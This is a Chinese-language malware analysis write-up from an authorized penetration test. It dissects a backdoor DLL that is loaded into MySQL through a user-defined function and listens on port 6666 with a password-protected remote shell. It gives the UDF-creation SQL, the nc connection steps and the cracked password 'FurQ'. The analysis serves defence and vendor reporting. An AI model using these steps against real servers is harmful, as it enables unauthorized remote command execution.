作者在授權滲透測試中，利用MySQL UDF（User Defined Function）機制攻克一台Xeon主機，意外發現 C:\FurQ.dll（28KB）。逆向分析發現其為一款具備網路監聽、命令執行、密碼保護的後門程式，且多款主流殺毒軟體（卡巴斯基、McAfee、PC-cillin）均能查殺，但部分產品漏報，疑似使用未公開新技術。

靜態分析（W32DSM）

• 導入函數含 WS2_32 系列（socket、bind、listen、accept），導出函數僅 Shell。
• 字串參考發現 COMSPEC，表明具備呼叫 CMD.EXE 執行命令能力。

動態測試驗證執行環境

1. 在MySQL中建立UDF函數：CREATE FUNCTION Shell RETURNS INTEGER SONAME 'c:\FurQ.dll';
2. 測試 SELECT shell('echo kevin >c:\z.txt'); 等語句，LOAD_FILE 讀取結果為NULL，推測非在MySQL進程上下文執行。
3. 發現MySQL進程除3306端口外，額外監聽 6666 端口（netstat -ano 確認）。
4. 本機 nc -v IP 6666 連線成功，輸入 ver 回應 ACCESS DENIED，需密碼認證。

破解密碼（OllyDbg動態調試）

• 定位字串比較邏輯，發現密碼為 FurQ（ASCII）。
• 驗證：nc IP 6666 → 輸入 FurQ → 獲得 C:\Mysql\data> 命令提示符，證實為遠端Shell後門。

樣本提交與廠商響應

樣本傳輸過程中被卡巴斯基攔截，McAfee、PC-cillin亦有反應，但部分產品「視而不見」。建議專業廠商深入分析其反檢測技術，完善特徵庫。

作者註

文章側重過程描述與主觀推測，專業深度有限，拋磚引玉，期待專家進一步分析。